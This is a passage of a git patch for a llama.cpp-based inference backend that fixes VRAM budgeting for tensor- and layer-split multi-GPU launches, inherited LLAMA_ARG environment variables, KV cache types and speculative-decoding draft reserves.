layer-split path emits nothing and resolve_tensor_parallel consults only extras.
The child inherits LLAMA_ARG_SPLIT_MODE, so a tensor env on a layer-split plan
silently runs the child tensor-parallel (heavier per-device compute buffer)
while the budget reserved only the layer-split per-device overhead, under-
reserving on multi-GPU.

load_model now flips the plan to tensor when extras do not set a split mode and
the env selects tensor, so Studio plans, reserves, and emits tensor consistently.
The flip is one-directional (guarded on not tensor_parallel and no extras
split-mode) so an existing tensor plan is never downgraded and extras keep
precedence. Other env modes (layer/row/none) are not a runtime-heavier surprise
and are left untouched.

Adds _env_split_mode_is_tensor plus unit and load_model source-level tests.

* studio: reconcile inherited llama.cpp env with the budgeted launch decision

Addresses a review pass over the VRAM auto-fit work. The budget now sizes the
right amount, but the child process inherits LLAMA_ARG_* env (see
child_env_without_native_path_secret), and a few axes could still run the child
in a mode Studio neither chose nor budgeted.

Mixed known/unknown GPU totals over-advertised the pooled layer-split budget.
_pool_budget_mib pooled free and total separately, so an unknown-total GPU
(MIG/vGPU/N/A) contributed its full free with no cushion when mixed with
known-total GPUs (~(1-frac)*free over-advertise, about 500 MiB in a two-GPU
case). It now sums each GPU's own usable budget, and the layer-split fit calls
take that as an absolute budget (budget_frac=1.0, total_mib=None) so the fit and
the footprint check agree. All-known-total pools are unchanged.

LLAMA_ARG_SPLIT_MODE=tensor survived a tensor-to-layer downgrade. The downgrade
only stripped CLI extras, so the inherited env still ran the child tensor while
Studio budgeted layer split. When the final decision is layer split, a non-layer
inherited split mode (and any paired LLAMA_ARG_TENSOR_SPLIT) is now cleared from
the child env.

Inherited quantized LLAMA_ARG_CACHE_TYPE_K/_V crashed tensor mode. Tensor mode
aborts on a quantized KV cache; Studio drops a quantized cache_type_kv for the
tensor attempt but the inherited env reached the child anyway. When the final
decision is tensor split, a quantized cache-type env is now cleared so the child
uses the tensor-safe default that was budgeted.

Env-derived cache budget no longer mutates the emitted launch flags. An env-only
main KV type now informs the budget only; it is not re-emitted, so an asymmetric
K=f32,V=f16 env reaches the child as set instead of being rewritten to symmetric
--cache-type-k/-v f32.

Adds source-level regression tests for all four and confirms the documented
single-GPU/tensor/pipeline numbers are byte-identical before and after.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten comments in the VRAM auto-fit code

Compress the verbose docstrings and inline comments added by this work to
succinct 2-4 line versions, drop restated/obvious ones, and cut duplicated
rationale across the two tensor-downgrade branches. Keeps the non-obvious intent
(env-inheritance precedence, the #24102 embedded-draft floor, the per-device
overhead and pool-budget rationale) while removing roughly 120 lines of comment
text from llama_cpp.py. Also trims the few longest test-comment blocks; concise
per-test scenario notes are left intact.

No logic change: verified with comment_tools.py check --strip-docstrings (code-
only signature unchanged vs the prior commit) and the full backend suite still
passes (824).

* studio: lock in env-drafter engagement for the separate-draft reserve

A review suggested an env-provided LLAMA_ARG_SPEC_DRAFT_MODEL would skip the
draft reserve and OOM. It does not: the gate's _extra_args_mtp_draft_path(extra_args)
call defaults env=None, which consults os.environ, so an env-only drafter still
sets _user_draft_via_extras and is sized via _env_draft_for_budget. Add a source
guard that the gate keeps the env-inclusive form (not extras-only env={}) and a
behavioral test mirroring the reviewed scenario, so a future cleanup can't
regress it. No production change.

* studio: carry the unsized MTP reserve and env split/offload into tensor planning

Addresses a review pass over the multi-GPU and env-inheritance paths.

Tensor planner dropped the unsized draft-KV cushion. When a separate drafter has
known weights but unreadable KV metadata, _plan_tensor_parallel receives a
non-None weights-only mtp_overhead_fn and applied the flat 2 GiB reserve only for
the no-fn case, so its binary search spent the unsized-KV cushion on context and
over-advertised. Add mtp_flat_reserve_bytes (subtracted from the pooled budget and
the even-split check), and pass it from load_model whenever _mtp_kv_unsized. The
layer path and the tensor pre-gate already kept this cushion.

Stale LLAMA_ARG_TENSOR_SPLIT survived in tensor mode. When the planner picks an
even split it emits no --tensor-split, so an inherited tensor-split env reached the
child and overrode the budgeted split. The layer downgrade branch cleared it; the
tensor branch now does too.

Env-only draft CPU offload was ignored. _extra_args_draft_offloaded_to_cpu checked
extras but not LLAMA_ARG_N_GPU_LAYERS_DRAFT, so an env-offloaded drafter was still
charged GPU budget and under-advertised context. It now consults that env (the
device flag has no env), called with env=os.environ.

Layer-split compute buffer had no fallback when GGUF dims are missing. The estimate
returns 0 then, so the layer path folded no buffer while the tensor path falls back
to the flat reserve. Use the flat reserve for the layer path too (a safe upper
bound, since the tensor buffer >= the layer one).

All four are gated on conditions the documented benchmarks don't hit; the
single-GPU/tensor/pipeline reconfirm numbers are byte-identical, and the full
backend suite passes (830) with regression tests for each fix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: share the env-aware tensor decision across load and dedup matchers

A review pass found the inherited-LLAMA_ARG_SPLIT_MODE=tensor flip lived only
in load_model, so the two duplicate-load matchers disagreed with it.

Consolidate the decision into _effective_tensor_parallel (extras + toggle, then
flip on when extras set no split mode and the child inherits a tensor split
env). load_model, the backend matcher (_already_in_target_state) and the route
matcher (_request_matches_loaded_settings) now all call it. Before, an env-driven
tensor server compared against resolve_tensor_parallel (env-blind) in both
matchers, so a follow-up load that should dedup was seen as a mismatch and the
healthy server was needlessly killed and reloaded.

Also finish the tensor cache-type handling: when the tensor attempt drops a
quantized KV it now re-adopts a heavier inherited env cache type (f32) for the
budget, mirroring the initial adoption; and the two layer-split downgrades clear
_cache_type_from_env so the restored quantized type is actually re-emitted rather
than left to a stale inherited env.

All gated on inherited env the documented benchmarks don't set; the single-GPU,
tensor and pipeline reconfirm numbers are byte-identical, and the full backend
suite passes (832) with unit + source regression tests for the shared helper and
the route matcher.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: complete the env-aware tensor/spec handling across all paths

A second review pass found the env-aware tensor/MTP handling was applied
asymmetrically: some paths inherited LLAMA_ARG_* env, others didn't. Three real
follow-ups, plus a small consolidation so the env semantics live in one place.

1. Tensor fallback ignored the inherited tensor env. load_with_tensor_fallback
   computed its retry gate with the env-blind resolve_tensor_parallel, so an
   env-only tensor load (toggle off, no --split-mode extra) that crashed on a
   tensor-incompatible GGUF re-raised instead of retrying layer split. It now
   uses the env-aware decision; and since the inherited env would otherwise
   re-engage tensor on the retry (CLI args persist, the env does too), the retry
   forces --split-mode layer (CLI wins over env) so it can't re-crash.

2. Duplicate-load matchers looped reloads after a tensor->layer downgrade. Both
   matchers compared the env-expanded tensor decision against the loaded server,
   but load_model may downgrade tensor to layer (capacity/buffer) and scrub the
   child env. The still-set parent env then made every identical request look
   like a mismatch, killing and reloading a healthy layer server. Add
   _tensor_parallel_matches_loaded, which only lets an inherited tensor env raise
   a match against a server that actually launched tensor; a downgraded server
   matches the same request (an identical load would downgrade the same way).

3. MTP binary-capability fallback leaked an inherited LLAMA_ARG_SPEC_TYPE. When
   the binary lacks MTP, _emit_mtp degraded but emitted no spec flag, so an
   inherited LLAMA_ARG_SPEC_TYPE=draft-mtp still reached the child and attempted
   MTP the gate had budgeted off. It now emits --spec-default (CLI wins over env)
   like the sibling no-head / non-MTP fallbacks.

Consolidation: moved _env_split_mode_is_tensor / _effective_tensor_parallel into
llama_server_args.py (with the new _tensor_parallel_matches_loaded) so the
lightweight tensor_fallback module can share them without importing llama_cpp;
llama_cpp re-exports them for back-compat.

All gated on inherited env the documented benchmarks don't set; the single-GPU,
tensor and pipeline reconfirm numbers are byte-identical, and the full backend
suite passes (883) with regression tests for each fix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: budget the heavier axis of asymmetric --cache-type-k/-v extras

A review pass found the explicit-extras counterpart of the env cache-type fix.
load_model adopts the heavier inherited LLAMA_ARG_CACHE_TYPE_K/_V env for the
reserve, but the explicit-extras path used resolve_cache_type_kv, which collapses
both axes to one last-wins value. So extras such as
--cache-type-k f32 --cache-type-v f16 (lighter axis last) budgeted f16 for both
axes while the child allocates f32 on K, over-advertising context and
re-opening the OOM path this PR closes.

Add parse_cache_override_per_axis (keeps the K/V last-wins values apart) and
_extra_args_main_cache_type_for_budget (the heavier of the two by bytes/elem),
and budget from it. The user's extras are appended last and win per axis at the
child, so this only raises the reserve; the emitted command and the asymmetric
child cache are unchanged, and the common single-axis / symmetric cases resolve
to the same type as before.

Reconfirm numbers (single-GPU table, tensor, pipeline) are byte-identical, and
the full backend suite passes (892) with per-axis parser and heavier-axis budget
regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fix tensor-safety masking and strip inherited HF drafter selectors

A review pass found two more env/extras edge cases on the speculative and tensor
cache paths.

Tensor-safety could miss a quantized axis. The previous change budgets the
heavier-by-bytes cache type, but that masks a quantized axis paired with a
heavier one: --cache-type-k f16 --cache-type-v q4_0 resolves to f16, so the
tensor-safety block did not fire and the q4_0 axis survived into tensor mode,
which aborts on quantized KV. Test each explicit --cache-type-k/-v axis (not just
the budget type) so any quantized axis drops the cache for the tensor attempt.

Inherited HF drafter selectors were not stripped. _extra_args_mtp_draft_path
treats --spec-draft-hf / -hfd / -hfrd / --hf-repo-draft as drafter selectors, but
_SPEC_FLAGS only stripped the local --model-draft selectors, so on an inherited-
extras Apply a stale HF drafter survived and last-wins-overrode Studio's
re-derived spec choice. Add the HF aliases to _SPEC_FLAGS. The per-drafter tuning
knobs (--spec-draft-type-*, -ngld, --spec-draft-device) are intentionally left in
place: the VRAM budget reads them via the same parsers the child honors, so they
stay consistent on inherit, and stripping them would silently move a CPU-offloaded
drafter back onto the GPU.

A third flagged item -- that the HF draft env var should be LLAMA_ARG_HFD_REPO --
was a false positive from a stale manpage; the bundled binary's common/arg.cpp
sets LLAMA_ARG_SPEC_DRAFT_HF_REPO for --spec-draft-hf, which the code already
uses, so it is left unchanged.

Reconfirm numbers (single-GPU table, tensor, pipeline) are byte-identical, and
the full backend suite passes (899) with regression tests for both fixes.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: preserve asymmetric cache on tensor downgrade and skip CPU-drafter reserve

A review pass found two more tensor-path edges, one a regression from the
per-axis cache change.

Tensor-to-layer downgrade collapsed asymmetric cache extras. The per-axis
tensor-safety check strips an asymmetric --cache-type-k/-v (tensor rejects
quantized KV), but the downgrade restored only the scalar heavier type, so a
layer fallback silently rewrote --cache-type-k q4_0 --cache-type-v f16 to
symmetric f16/f16 even though layer split supports the original. Save the
original extras before the tensor strip and restore them verbatim (minus the
user --split-mode) on both downgrade points; the budget still uses the heavier
scalar, the child gets the real asymmetric cache. Before the per-axis change this
case happened to survive (last-wins was f16, untouched), so this restores that.

Tensor mode reserved GPU VRAM for a CPU-offloaded drafter. The layer path drops
the flat MTP reserve when the only drafter is a separate CPU one with no embedded
head, but the tensor capacity gate and planner still charged it, under-advertising
context. Gate the tensor reserve on the same condition via _mtp_reserves_gpu.

Reconfirm numbers (single-GPU table, tensor, pipeline) are byte-identical (both
fixes are gated on conditions the benchmarks don't hit), and the full backend
suite passes (901) with regression tests for each.

* studio: drop now-unused llama_server_args imports from llama_cpp

The refactor re-pointed load_model and the matchers off resolve_tensor_parallel /
resolve_cache_type_kv and moved the env split-mode helper into llama_server_args,
leaving those three names imported but unused in llama_cpp. The repo's import-hoist
safety-net lint blocks that, so drop them; the env split-mode test now imports
_env_split_mode_is_tensor from its real home (llama_server_args).

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 1261 ++++++++++++++---
 .../core/inference/llama_server_args.py       |   92 +-
 .../backend/core/inference/tensor_fallback.py |   22 +-
 studio/backend/routes/inference.py            |    7 +-
 studio/backend/tests/test_compute_buffer.py   |  152 ++
 .../backend/tests/test_kv_cache_estimation.py |    8 +-
 .../tests/test_llama_cpp_context_fit.py       |   44 +-
 .../test_llama_cpp_max_context_threshold.py   |    4 +-
 .../tests/test_llama_cpp_mtp_detection.py     |   14 +-
 .../backend/tests/test_llama_server_args.py   |   67 +
 studio/backend/tests/test_mtp_vram_budget.py  | 1002 +++++++++++++
 studio/backend/tests/test_tensor_parallel.py  |  203 ++-
 .../tests/test_windows_gpu_detection_mock.py  |   16 +
 13 files changed, 2656 insertions(+), 236 deletions(-)
 create mode 100644 studio/backend/tests/test_compute_buffer.py
 create mode 100644 studio/backend/tests/test_mtp_vram_budget.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 7b6c0b0668..9221323bd9 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -23,18 +23,19 @@ import sys
 import threading
 import time
 from pathlib import Path
-from typing import Callable, Collection, Generator, Iterable, List, Optional, Union
+from typing import Callable, Collection, Generator, Iterable, List, Mapping, Optional, Union
 
 import httpx
 
 from core.inference.llama_server_args import (
+    _effective_tensor_parallel,
+    _tensor_parallel_matches_loaded,
     extra_args_disable_mmproj,
     parse_cache_override,
+    parse_cache_override_per_axis,
     parse_ctx_override,
     parse_split_mode_override,
-    resolve_cache_type_kv,
     resolve_requested_ctx,
-    resolve_tensor_parallel,
     strip_shadowing_flags,
     strip_split_mode_only,
 )
@@ -724,18 +725,63 @@ def _gguf_files_for_variant(files: Iterable[str], variant: str) -> list[str]:
 # _build_speculative_flags); auto mode drops MTP under it.
 _MTP_MIN_SIZE_B = 3.0
 
-# Context-fit VRAM budget: tighter than _GPU_PIN_VRAM_FRACTION (0.95) on
-# purpose -- over-promising context OOMs at runtime (#5106).
-_CTX_FIT_VRAM_FRACTION = 0.90
+# Cap total GPU occupancy at this fraction of the card. The fit reserves an
+# absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction
+# of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve.
+_CTX_FIT_VRAM_FRACTION = 0.95
 
-# Extra VRAM fraction reserved when MTP will engage: the draft model's
-# weights, KV cache, and compute buffers live outside the main model's
-# estimate. Applied to BOTH the ctx-fit budget and the GPU pin thresholds --
-# tightening only the fit lets a load whose weights land between the two
-# fractions pin without any room for the drafter.
+# Flat MTP reserve, used only when GGUF dims are too sparse for the byte-accurate
+# reserve (_estimate_mtp_overhead_bytes). Applied to both the fit budget and pin.
 _MTP_VRAM_RESERVE_FRAC = 0.05
 
 
+def _kv_bytes_per_elem(cache_type: Optional[str]) -> float:
+    """Bytes per KV-cache element for a llama.cpp cache type (f16 default)."""
+    return {
+        "f32": 4.0,
+        "f16": 2.0,
+        "bf16": 2.0,
+        "q8_0": 34 / 32,
+        "q5_1": 0.75,
+        "q5_0": 0.6875,
+        "q4_1": 0.625,
+        "q4_0": 0.5625,
+        "iq4_nl": 0.5625,
+    }.get((cache_type or "f16").strip().lower(), 2.0)
+
+
+def _env_main_cache_type_for_budget(env: Optional[Mapping[str, str]] = None) -> Optional[str]:
+    """Heavier of the inherited LLAMA_ARG_CACHE_TYPE_K/_V env types when it
+    exceeds the f16 default, else None. Studio emits --cache-type only for the
+    param/extras path, so a heavier env (f32) would otherwise reach the child
+    unbudgeted; quantized env types stay over-reserved by f16 (-> None)."""
+    e = os.environ if env is None else env
+    f16_bpe = _kv_bytes_per_elem("f16")
+    heaviest: Optional[str] = None
+    heaviest_bpe = f16_bpe
+    for var in ("LLAMA_ARG_CACHE_TYPE_K", "LLAMA_ARG_CACHE_TYPE_V"):
+        raw = (e.get(var) or "").strip().lower()
+        if not raw:
+            continue
+        bpe = _kv_bytes_per_elem(raw)
+        if bpe > heaviest_bpe:
+            heaviest, heaviest_bpe = raw, bpe
+    return heaviest
+
+
+def _extra_args_main_cache_type_for_budget(extra_args: Optional[Iterable[str]]) -> Optional[str]:
+    """Heavier (max bytes/elem) of the explicit --cache-type-k/-v extras, or None.
+
+    Extras are appended last and win per axis, so an asymmetric K=f32,V=f16 must be
+    budgeted by its heavier axis. resolve_cache_type_kv returns only the last-wins
+    single type, which under-reserves the heavier axis when the lighter one is last."""
+    k, v = parse_cache_override_per_axis(extra_args)
+    candidates = [c for c in (k, v) if c]
+    if not candidates:
+        return None
+    return max(candidates, key = _kv_bytes_per_elem)
+
+
 def _auto_mode_drops_mtp(
     req_mode: Optional[str],
     size_b: Optional[float],
@@ -779,6 +825,196 @@ def _extra_args_set_any_flag(extra_args: Optional[Iterable[str]], flags: Collect
     return False
 
 
+def _effective_spec_type(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> Optional[str]:
+    """The --spec-type llama-server will use: the last CLI --spec-type (or
+    --spec-default, which resolves non-MTP), else LLAMA_ARG_SPEC_TYPE. A CLI flag
+    overrides the env (matching llama.cpp), so a stale MTP env can't make the
+    budget reserve a drafter the launch won't load. None if neither sets it."""
+    args = [str(a) for a in extra_args] if extra_args else []
+    cli_present = False
+    cli_value: Optional[str] = None
+    for i, raw in enumerate(args):
+        flag, eq, inline = raw.partition("=")
+        if flag == "--spec-default":
+            cli_present = True
+            cli_value = "default"
+            continue
+        if flag != "--spec-type":
+            continue
+        cli_present = True
+        cli_value = inline if eq else (args[i + 1] if i + 1 < len(args) else "")
+    if cli_present:
+        return cli_value
+    return (os.environ if env is None else env).get("LLAMA_ARG_SPEC_TYPE")
+
+
+def _extra_args_requests_mtp(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> bool:
+    """True if the effective --spec-type selects MTP (mtp/draft-mtp), so the
+    budget must reserve for it."""
+    value = _effective_spec_type(extra_args, env)
+    if not value:
+        return False
+    return any(p.strip().lower() in ("mtp", "draft-mtp") for p in value.split(","))
+
+
+def _extra_args_requests_separate_draft(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> bool:
+    """True if the effective --spec-type selects a non-MTP model draft mode
+    (draft-simple/draft-eagle3), which loads a separate draft model the budget
+    must reserve (draft-mtp -> _extra_args_requests_mtp; ngram-* load no model)."""
+    value = _effective_spec_type(extra_args, env)
+    if not value:
+        return False
+    return any(p.strip().lower() in ("draft-simple", "draft-eagle3") for p in value.split(","))
+
+
+def _extra_args_spec_draft_n_max(extra_args: Optional[Iterable[str]]) -> Optional[int]:
+    """Draft depth from extras (``--spec-draft-n-max`` or legacy ``--draft-max``), else None."""
+    if not extra_args:
+        return None
+    args = [str(a) for a in extra_args]
+    found: Optional[int] = None
+    for i, raw in enumerate(args):
+        flag, eq, inline = raw.partition("=")
+        if flag not in ("--spec-draft-n-max", "--draft-max"):
+            continue
+        value = inline if eq else (args[i + 1] if i + 1 < len(args) else "")
+        try:
+            found = int(value)
+        except (TypeError, ValueError):
+            continue
+    return found
+
+
+def _extra_args_mtp_draft_path(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> Optional[str]:
+    """Separate drafter path from extras (local --model-draft/-md or HF
+    --spec-draft-hf/-hfd/...), else the LLAMA_ARG_SPEC_DRAFT_MODEL/_HF_REPO env,
+    else None. An HF repo isn't a local file, so the budget can't size it (falls
+    back to the flat reserve), but recognizing it avoids sizing the wrong one."""
+    flags = {
+        "--model-draft",
+        "--spec-draft-model",
+        "-md",
+        "--spec-draft-hf",
+        "-hfd",
+        "-hfrd",
+        "--hf-repo-draft",
+    }
+    args = [str(a) for a in extra_args] if extra_args else []
+    found: Optional[str] = None
+    for i, raw in enumerate(args):
+        flag, eq, inline = raw.partition("=")
+        if flag not in flags:
+            continue
+        value = inline if eq else (args[i + 1] if i + 1 < len(args) else "")
+        if value and not value.startswith("-"):
+            found = value
+    if found is not None:
+        return found
+    e = os.environ if env is None else env
+    return e.get("LLAMA_ARG_SPEC_DRAFT_MODEL") or e.get("LLAMA_ARG_SPEC_DRAFT_HF_REPO") or None
+
+
+def _extra_args_draft_cache_types(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> tuple[Optional[str], Optional[str]]:
+    """Draft KV cache types (k_type, v_type), each from extras else the
+    LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K/_V env, else None (f16). K and V are
+    independent: a one-sided override must not apply to both."""
+    args = [str(a) for a in extra_args] if extra_args else []
+    k_flags = {"--cache-type-k-draft", "--spec-draft-type-k", "-ctkd"}
+    v_flags = {"--cache-type-v-draft", "--spec-draft-type-v", "-ctvd"}
+    k_type: Optional[str] = None
+    v_type: Optional[str] = None
+    for i, raw in enumerate(args):
+        flag, eq, inline = raw.partition("=")
+        if flag not in k_flags and flag not in v_flags:
+            continue
+        value = inline if eq else (args[i + 1] if i + 1 < len(args) else "")
+        if not value or value.startswith("-"):
+            continue
+        if flag in k_flags:
+            k_type = value
+        else:
+            v_type = value
+    e = os.environ if env is None else env
+    if k_type is None:
+        k_type = e.get("LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K") or None
+    if v_type is None:
+        v_type = e.get("LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V") or None
+    return k_type, v_type
+
+
+def _extra_args_draft_offloaded_to_cpu(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> bool:
+    """True if the SEPARATE draft model is on CPU (so the budget must not charge
+    its weights+KV): --spec-draft-ngl 0, or --spec-draft-device naming only
+    cpu/none, else the LLAMA_ARG_N_GPU_LAYERS_DRAFT env the child honors (the
+    device flag has no env). An embedded MTP head follows the main -ngl, so these
+    draft-only flags don't move it. Last-wins, so only each flag's final value counts."""
+    ngl_flags = {"--spec-draft-ngl", "-ngld", "--gpu-layers-draft", "--n-gpu-layers-draft"}
+    dev_flags = {"--spec-draft-device", "-devd", "--device-draft"}
+    args = [str(a) for a in extra_args] if extra_args else []
+    last_ngl: Optional[str] = None
+    last_dev: Optional[str] = None
+    for i, raw in enumerate(args):
+        flag, eq, inline = raw.partition("=")
+        value = inline if eq else (args[i + 1] if i + 1 < len(args) else "")
+        if flag in ngl_flags:
+            last_ngl = value
+        elif flag in dev_flags:
+            last_dev = value
+    if last_ngl is None:
+        last_ngl = (os.environ if env is None else env).get("LLAMA_ARG_N_GPU_LAYERS_DRAFT")
+    if last_ngl is not None:
+        try:
+            if int(last_ngl) == 0:
+                return True
+        except (TypeError, ValueError):
+            pass
+    if last_dev is not None:
+        devs = [d.strip().lower() for d in last_dev.split(",") if d.strip()]
+        if devs and all(d in ("cpu", "none") for d in devs):
+            return True
+    return False
+
+
+def _extra_args_n_ubatch(
+    extra_args: Optional[Iterable[str]], env: Optional[Mapping[str, str]] = None
+) -> Optional[int]:
+    """Physical micro-batch from extras (--ubatch-size/-ub) else the LLAMA_ARG_UBATCH
+    env, else None. It sizes the compute-graph buffer, so an override must reach
+    the VRAM reserve."""
+    args = [str(a) for a in extra_args] if extra_args else []
+    found: Optional[int] = None
+    for i, raw in enumerate(args):
+        flag, eq, inline = raw.partition("=")
+        if flag not in ("--ubatch-size", "-ub"):
+            continue
+        value = inline if eq else (args[i + 1] if i + 1 < len(args) else "")
+        try:
+            found = int(value)
+        except (TypeError, ValueError):
+            continue
+    if found is not None:
+        return found
+    raw = (os.environ if env is None else env).get("LLAMA_ARG_UBATCH")
+    if raw:
+        try:
+            return int(raw)
+        except (TypeError, ValueError):
+            pass
+    return None
+
+
 def _build_ngram_mod_flags(
     caps: Optional[dict],
     n_match: int = 24,
@@ -954,6 +1190,9 @@ class LlamaCppBackend:
         self._n_kv_heads_by_layer: Optional[list[int]] = None
         self._n_heads: Optional[int] = None
         self._embedding_length: Optional[int] = None
+        # For the compute-graph buffer estimate; vocab from the tokens array len.
+        self._feed_forward_length: Optional[int] = None
+        self._vocab_size: Optional[int] = None
         # Architecture-aware KV fields for 5-path estimation
         self._kv_key_length: Optional[int] = None
         self._kv_value_length: Optional[int] = None
@@ -1729,7 +1968,14 @@ class LlamaCppBackend:
 
     @staticmethod
     def _get_gpu_free_memory() -> list[tuple[int, int]]:
-        """Query free memory per GPU.
+        """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by
+        index; empty if no supported GPU is reachable. Thin wrapper over
+        ``_get_gpu_memory`` for callers that only need free VRAM."""
+        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()]
+
+    @staticmethod
+    def _get_gpu_memory() -> list[tuple[int, int, int]]:
+        """Query free AND total memory per GPU.
 
         Order:
           1. ``nvidia-smi`` (NVIDIA CUDA hosts) -- respects
@@ -1740,15 +1986,15 @@ class LlamaCppBackend:
              probe returned [] on AMD) and NVIDIA hosts missing
              ``nvidia-smi`` from PATH.
 
-        Returns list of (gpu_index, free_mib) sorted by index; empty if no
-        supported GPU is reachable.
+        Returns (gpu_index, free_mib, total_mib) sorted by index; empty if no
+        supported GPU is reachable. ``total`` lets the fit reserve absolute headroom.
         """
         # ── NVIDIA via nvidia-smi ────────────────────────────────────
         try:
             result = subprocess.run(
                 [
                     "nvidia-smi",
-                    "--query-gpu=index,memory.free",
+                    "--query-gpu=index,memory.free,memory.total",
                     "--format=csv,noheader,nounits",
                 ],
                 capture_output = True,
@@ -1768,15 +2014,30 @@ class LlamaCppBackend:
                         allowed = set(int(x.strip()) for x in cvd.split(",") if x.strip())
                     except ValueError:
                         pass
-                gpus: list[tuple[int, int]] = []
+                gpus: list[tuple[int, int, int]] = []
                 for line in result.stdout.strip().splitlines():
-                    parts = line.split(",")
-                    if len(parts) == 2:
-                        idx = int(parts[0].strip())
-                        free_mib = int(parts[1].strip())
-                        if allowed is not None and idx not in allowed:
-                            continue
-                        gpus.append((idx, free_mib))
+                    parts = [p.strip() for p in line.split(",")]
+                    if len(parts) < 2:
+                        continue
+                    # Index and free required; skip a bad line rather than abandon
+                    # the probe to the torch fallback.
+                    try:
+                        idx = int(parts[0])
+                        free_mib = int(parts[1])
+                    except ValueError:
+                        continue
+                    # Total parsed separately: a two-column line or a non-integer
+                    # total ("N/A" on MIG/vGPU) keeps the GPU at total 0 (fit uses
+                    # the free*frac fallback) instead of dropping it.
+                    total_mib = 0
+                    if len(parts) >= 3 and parts[2]:
+                        try:
+                            total_mib = int(parts[2])
+                        except ValueError:
+                            total_mib = 0
+                    if allowed is not None and idx not in allowed:
+                        continue
+                    gpus.append((idx, free_mib, total_mib))
                 # Match the docstring's sort-by-id guarantee (driver order isn't).
                 gpus.sort(key = lambda g: g[0])
                 if gpus:
@@ -1821,13 +2082,13 @@ class LlamaCppBackend:
                     physical_ids = None
             gpus = []
             for ordinal in range(torch.cuda.device_count()):
-                free_bytes, _total_bytes = torch.cuda.mem_get_info(ordinal)
+                free_bytes, total_bytes = torch.cuda.mem_get_info(ordinal)
                 idx = (
                     physical_ids[ordinal]
                     if physical_ids is not None and ordinal < len(physical_ids)
                     else ordinal
                 )
-                gpus.append((idx, free_bytes // (1024 * 1024)))
+                gpus.append((idx, free_bytes // (1024 * 1024), total_bytes // (1024 * 1024)))
             # Match the nvidia-smi path's docstring guarantee of sorted-by-id.
             return sorted(gpus, key = lambda g: g[0])
         except Exception as e:
@@ -1905,19 +2166,17 @@ class LlamaCppBackend:
     # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106).
     _GPU_PIN_VRAM_FRACTION = 0.95
 
-    # Per-GPU compute-graph buffer to reserve in tensor mode (MiB). This is the
-    # logits buffer (n_batch x vocab) + activation scratch that llama.cpp sizes
-    # via graph_reserve -- it is roughly EQUAL on every device (not proportional
-    # to the tensor split) and independent of context. Measured ~2.3 GB
-    # (gemma-3-27B) to ~3.8 GB (gemma-4-31B) on a 256k-vocab model; we reserve a
-    # conservative headroom above that. It is (a) subtracted from each GPU's free
-    # VRAM before computing --tensor-split, so the roomier GPU absorbs more
-    # weight and the smallest GPU keeps room for KV, and (b) reserved per device
-    # when capping context. The auto-fallback to layer split covers any
-    # underestimate. NOTE: scales with the model's vocab / batch size; tune if a
-    # large-vocab model OOMs at load.
+    # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF
+    # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived
+    # path) returns 0.
     _TENSOR_PARALLEL_BUFFER_RESERVE_MIB = 5120
 
+    # Fixed per-device overhead on every GPU of a LAYER split (CUDA context +
+    # scratch), beyond the conserved slot-scaling buffer. ~0.9 GB/device measured
+    # (Qwen3.6-27B, b9625), independent of --parallel; reserved per extra GPU so a
+    # tight layer split can't advertise a context that OOMs at load.
+    _PIPELINE_PER_DEVICE_OVERHEAD_MIB = 1024
+
     # KV cache types llama.cpp accepts in tensor mode. A quantized KV cache
     # aborts a --split-mode tensor load, so it's dropped for the tensor attempt.
     _TENSOR_PARALLEL_KV_TYPES = frozenset({"f16", "bf16", "f32"})
@@ -2085,6 +2344,8 @@ class LlamaCppBackend:
         model_size_bytes: int,
         gpus: list[tuple[int, int]],
         usable_fraction: Optional[float] = None,
+        total_by_idx: Optional[dict[int, int]] = None,
+        per_device_overhead_bytes: int = 0,
     ) -> tuple[Optional[list[int]], bool]:
         """Pick GPU(s) for a model from estimated VRAM and free memory.
 
@@ -2092,6 +2353,11 @@ class LlamaCppBackend:
         ``usable_fraction`` (default ``_GPU_PIN_VRAM_FRACTION``) provides
         headroom for compute buffers, CUDA context, and other runtime
         overhead; callers lower it when MTP reserves VRAM for a draft model.
+        ``total_by_idx`` (index -> total MiB) makes the headroom an ABSOLUTE
+        ``(1 - fraction) * total`` per GPU instead of a fraction of free.
+        ``per_device_overhead_bytes`` is the fixed layer-split cost per GPU beyond
+        the first; a k-GPU pin must hold ``model + (k-1) * overhead`` or it can OOM
+        a device after -ngl -1 (no --fit fallback). Single-GPU adds none.
 
         Returns (gpu_indices, use_fit):
           - ([1], False)       fits on 1 GPU at the headroom threshold
@@ -2105,20 +2371,31 @@ class LlamaCppBackend:
         if usable_fraction is None:
             usable_fraction = LlamaCppBackend._GPU_PIN_VRAM_FRACTION
 
-        # Sort GPUs by free memory descending
